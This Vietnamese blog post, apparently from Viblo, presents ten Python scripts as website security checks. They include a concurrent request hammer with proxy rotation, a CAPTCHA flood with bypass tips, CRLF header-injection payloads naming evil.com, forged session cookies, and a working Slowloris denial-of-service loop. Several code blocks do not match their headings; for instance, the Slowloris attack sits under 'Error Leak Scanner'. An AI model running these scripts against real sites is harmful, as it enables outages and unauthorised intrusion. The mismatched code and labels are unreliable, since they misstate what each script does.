0

10 Python Scripts giúp bạn kiểm soát website hiệu quả hơn

Bài viết này sẽ giới thiệu cho các bạn 10 đoạn mã Python vô cùng hữu ích, giúp gia tăng khả năng kiểm soát chất lượng website tốt hơn. Hãy cùng tìm hiểu ngay sau đây!

1. Bộ kiểm tra giới hạn tốc độ (Rate‑Limit Runner - Chi tiết)

Thông tin: Giới hạn tốc độ là tuyến phòng thủ đầu tiên của API chống lại lạm dụng—không có nó, ngay cả một mạng bot nhỏ cũng có thể khiến bạn ngừng hoạt động.

Vì sao nó lại quan trọng: Riêng quý 4 năm 2024, Cloudflare đã ngăn chặn 6,9 triệu cuộc tấn công DDoS—tăng 83% so với cùng kỳ năm trước. Việc kiểm tra giới hạn tốc độ của bạn sẽ cho biết chúng có thực sự được thực thi hay không.

import asyncio
import aiohttp

async def hammer_url(url, total_requests=500, delay=0):
    """Send concurrent requests and tally status codes."""
    headers = {"User-Agent": "RateLimitTester/1.0"}
    connector = aiohttp.TCPConnector(limit_per_host=100)
    async with aiohttp.ClientSession(connector=connector, headers=headers) as session:
        sem = asyncio.Semaphore(100)  # throttle concurrency
        async def _req(i):
            async with sem:
                if delay:
                    await asyncio.sleep(delay)
                try:
                    r = await session.get(url)
                    return r.status
                except Exception as e:
                    return f"err:{e.__class__.__name__}"
        statuses = await asyncio.gather(*[_req(i) for i in range(total_requests)])
        counts = {}
        for s in statuses:
            counts[s] = counts.get(s, 0) + 1
        print("Response distribution:", counts)

if __name__ == "__main__":
    asyncio.run(hammer_url("https://example.com/api", total_requests=300))

Xoay vòng proxy:

connector = aiohttp.TCPConnector(limit_per_host=10, ssl=False)
  session = aiohttp.ClientSession(connector=connector, trust_env=True)
  # Ensure your environment variables HTTP_PROXY/HTTPS_PROXY are set for rotating proxies.

Đảm bảo bạn đã cấu hình biến môi trường HTTP_PROXY/HTTPS_PROXY để xoay vòng proxy.

Mẹo: Theo dõi mã trạng thái 429 (Quá nhiều yêu cầu). Nếu bạn thấy mã 200 thay vì 429, tức là bạn đã vượt qua giới hạn tốc độ.

2. Trình giả lập CAPTCHA Flood (CAPTCHA Flood Simulator)

Thông tin: CAPTCHA khiến người dùng tốn khoảng 32 giây mỗi lần; tính toàn cầu, khoảng 500 năm công sức con người bị lãng phí mỗi ngày.

Vì sao nó lại quan trọng: CAPTCHA hiện đại gây khó chịu cho người dùng và làm giảm tỷ lệ chuyển đổi đến 40%, trong khi các bot tiên tiến đã có thể vượt qua reCAPTCHA v2 với độ chính xác đến 99,8%.

import requests
import re
from bs4 import BeautifulSoup

def flood_captcha(endpoint, tries=100):
    """Hit the login page repeatedly and parse any CAPTCHA forms."""
    for i in range(1, tries + 1):
        r = requests.get(endpoint)
        if re.search(r"class=['\"]g-recaptcha['\"]", r.text):
            print(f"[!] CAPTCHA triggered on attempt {i}")
            soup = BeautifulSoup(r.text, "html.parser")
            token = soup.find("input", {"name": "csrf_token"})["value"]
            print("  → CSRF token found:", token)
            break
        if i % 10 == 0:
            print(f"Attempt {i}: no CAPTCHA yet")

if __name__ == "__main__":
    flood_captcha("https://example.com/login", tries=50)

Gợi ý Bypass: Tích hợp trình duyệt không giao diện như Playwright để lấy các token động.

Thách thức: reCAPTCHA v3 không yêu cầu tương tác mà đưa ra điểm số. Bạn cần theo dõi header g-recaptcha-response trong các cuộc gọi AJAX.

3. Bộ kiểm tra chèn header (Header-Injection Checker)

Thông tin: OWASP cho biết 94% ứng dụng được kiểm tra lỗi injection, nhưng vẫn có 3% chứa lỗ hổng.

Vì sao nó lại quan trọng: Chèn header có thể dẫn đến phishing (giả mạo), nhiễm độc bộ nhớ đệm (cache poisoning), hoặc phân tách phản hồi (response splitting).

import requests

def check_header_injection(url):
    custom_headers = {
        "X-Forwarded-For": "127.0.0.1\r\nLocation: https://evil.com",
        "X-Real-IP": "10.0.0.1\r\nSet-Cookie: hacked=true"
    }
    r = requests.get(url, headers=custom_headers, allow_redirects=False)
    print("Status:", r.status_code)
    for hdr, val in r.headers.items():
        if "evil.com" in val or "hacked=true" in val:
            print(f"[!] Injection succeeded: {hdr} → {val}")

if __name__ == "__main__":
    check_header_injection("https://example.com/data")

Mẹo: Kiểm tra thêm các header như Host, X-Forwarded-Host, Referer, User-Agent.

4. Bộ Fuzz form bất đồng bộ (Async Form Fuzzer)

Thông tin: 50% các sự cố rò rỉ dữ liệu bắt nguồn từ ứng dụng web—fuzzing tự động giúp phát hiện lỗi XSS, SQLi, v.v... trước kẻ tấn công.

Vì sao nó lại quan trọng: Form có thể ẩn các tham số hoặc cơ chế xác thực mà bạn không ngờ tới.

import asyncio, aiohttp

async def fuzz_form(session, url, wordlist_file="params.txt"):
    with open(wordlist_file) as f:
        fields = [w.strip() for w in f]
    for field in fields:
        data = {field: "test123", "csrf_token": "YOUR_TOKEN_HERE"}
        async with session.post(url, data=data) as resp:
            text = await resp.text()
            if "error" not in text.lower():
                print(f"[+] Field may exist: {field} (code {resp.status})")

async def main():
    async with aiohttp.ClientSession() as s:
        await fuzz_form(s, "https://example.com/submit")

if __name__ == "__main__":
    asyncio.run(main())

Wordlist: Dùng danh sách tham số từ SecLists.

Mẹo chuyên sâu: Đo thời gian phản hồi — nếu chậm hơn bình thường, có thể đang thực hiện kiểm tra xác thực sâu hơn.

5. Trình thu thập từ robots.txt (Robots.txt Spider)

Thông tin: 99% trong top 100 website có robots.txt; nhiều tệp này ẩn đường dẫn quản trị hoặc tài nguyên nhạy cảm.

Vì sao nó lại quan trọng: robots.txt là tệp công khai — Googlebot sẽ tuân thủ, nhưng hacker thì không.

import requests

def spider_robots(base_url):
    r = requests.get(f"{base_url}/robots.txt")
    for line in r.text.splitlines():
        if line.lower().startswith("disallow"):
            path = line.split(":",1)[1].strip()
            full = base_url.rstrip("/") + path
            h = requests.head(full)
            print(f"{full} → {h.status_code}")

if __name__ == "__main__":
    spider_robots("https://example.com")

Bước tiếp theo: Gửi các đường dẫn tìm được vào trình fuzz tham số để khám phá thêm.

6. Trình dò JavaScript Endpoint (JS Endpoint Discoverer)

Thông tin: JavaScript thường tiết lộ endpoint API, token và các logic ẩn. Hacker thường xem qua .js để tìm điểm yếu.

Vì sao nó lại quan trọng: Tìm endpoint API tiềm ẩn, URL nội bộ, tham số ẩn và thậm chí cả khoá API bị lộ.

import requests

def tamper_cookie(url):
    # Try a forged session and an elevated role
    for val in ["malicious_session", "admin_role"]:
        cookies = {"session": val}
        resp = requests.get(url, cookies=cookies)
        print(f"{val}: {resp.status_code} {len(resp.content)} bytes")

if __name__ == "__main__":
    tamper_cookie("https://example.com/dashboard")

Mẹo nâng cao: Dò endpoint dạng tương đối (/api/v1/users) và dùng urljoin để hợp nhất với domain chính.

Đề xuất nâng cấp: Kết hợp với LinkFinder để có kết quả toàn diện hơn.

7. Trình rà lỗi phân tích phản hồi lỗi (Error Leak Scanner)

Thông tin: Các thông báo lỗi chi tiết là mỏ vàng cho kẻ tấn công—nó có thể tiết lộ thư mục nội bộ, cấu trúc framework, hoặc stacktrace.

Vì sao nó lại quan trọng: Thông tin nội bộ trong lỗi giúp kẻ xấu tùy biến tấn công cho chính xác hơn.

import socket, time

def slowloris(host, port=80, sockets_count=100):
    sockets = []
    for _ in range(sockets_count):
        s = socket.socket()
        s.settimeout(4)
        s.connect((host, port))
        s.send(b"GET / HTTP/1.1\r\nHost: " + host.encode() + b"\r\n")
        sockets.append(s)
    while True:
        for s in list(sockets):
            try:
                s.send(b"X-a: b\r\n")
            except:
                sockets.remove(s)
        time.sleep(15)

if __name__ == "__main__":
    slowloris("example.com")

Mẹo: Tìm các từ khóa như Exception, Traceback, Warning, Fatal, ORA-, SQLSTATE, v.v.

Bổ sung: Thử thêm Accept: application/json để nhận thông báo lỗi chi tiết hơn ở API RESTful.

8. Trình dò phiên (Session Brute-Checker)

Thông tin: Nếu session ID ngắn hoặc dự đoán được, kẻ tấn công có thể đoán và chiếm quyền truy cập.

Vì sao nó lại quan trọng: Ngay cả một session bảo mật sai cách cũng có thể dẫn đến chiếm quyền admin.

import re, requests
from bs4 import BeautifulSoup

def crawl_hidden_links(url):
    r = requests.get(url)
    comments = re.findall(r"<!--(.*?)-->", r.text, re.DOTALL)
    for c in comments:
        for a in BeautifulSoup(c, "html.parser").find_all("a", href=True):
            print("Hidden link:", a["href"])

if __name__ == "__main__":
    crawl_hidden_links("https://example.com")

Chú ý: Đây chỉ nên dùng trên môi trường kiểm thử (staging/dev). Đừng bao giờ brute force website thật nếu không được phép.

9. Trình kiểm tra redirect (Open Redirect Checker)

Thông tin: Redirect mở (open redirect) có thể được dùng để đánh lừa người dùng nhấp vào liên kết độc hại nhưng trông có vẻ hợp pháp.

Vì sao nó lại quan trọng: Có thể dẫn đến tấn công phishing hoặc bỏ qua xác thực SSO.

import requests

def param_fuzz(base_url, params):
    for p in params:
        url = f"{base_url}?{p}=1"
        r = requests.get(url, allow_redirects=False)
        if r.status_code == 200:
            print("Valid param:", p)
        elif 300 <= r.status_code < 400:
            print("Redirected by param:", p)

if __name__ == "__main__":
    fuzz_list = ["debug", "test", "mode", "admin", "verbose"]
    param_fuzz("https://example.com/page", fuzz_list)

Mẹo: Thử thêm các biến tên như url=, redirect=, continue=, dest=, returnUrl=, next=.

10. Trình xác định xác thực ẩn (Hidden Auth Checker)

Thông tin: Một số trang yêu cầu token ẩn hoặc điều kiện phụ phía client để hiển thị nội dung (JS, cookie, referrer...).

Vì sao nó lại quan trọng: Bạn có thể bỏ lỡ nội dung ẩn nếu chỉ gửi request thô. Những điều kiện phụ có thể bị khai thác.

import requests, xml.etree.ElementTree as ET

def parse_sitemap(url):
    r = requests.get(url)
    root = ET.fromstring(r.content)
    ns = {"ns":"http://www.sitemaps.org/schemas/sitemap/0.9"}
    for loc in root.findall(".//ns:loc", ns):
        print("Sitemap URL:", loc.text)
        h = requests.head(loc.text)
        print("  →", h.status_code)

if __name__ == "__main__":
    parse_sitemap("https://example.com/sitemap.xml")

Thử thêm: Gửi các header như X-Requested-With: XMLHttpRequest, Authorization, hoặc cookie đặc biệt.

Tổng kết

Những đoạn script trên giúp bạn:

  • Khám phá lỗ hổng tiềm ẩn mà hacker thường nhắm tới.
  • Tự động hoá kiểm tra bảo mật mà không cần công cụ lớn như Burp Suite.
  • Hiểu được mặt tối của bảo mật web bằng Python thuần.

Lời khuyên: Luôn xin phép trước khi thử nghiệm trên hệ thống không thuộc về bạn. Đây là các công cụ học tập, không phải để lạm dụng.

Cảm ơn các bạn đã theo dõi!


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí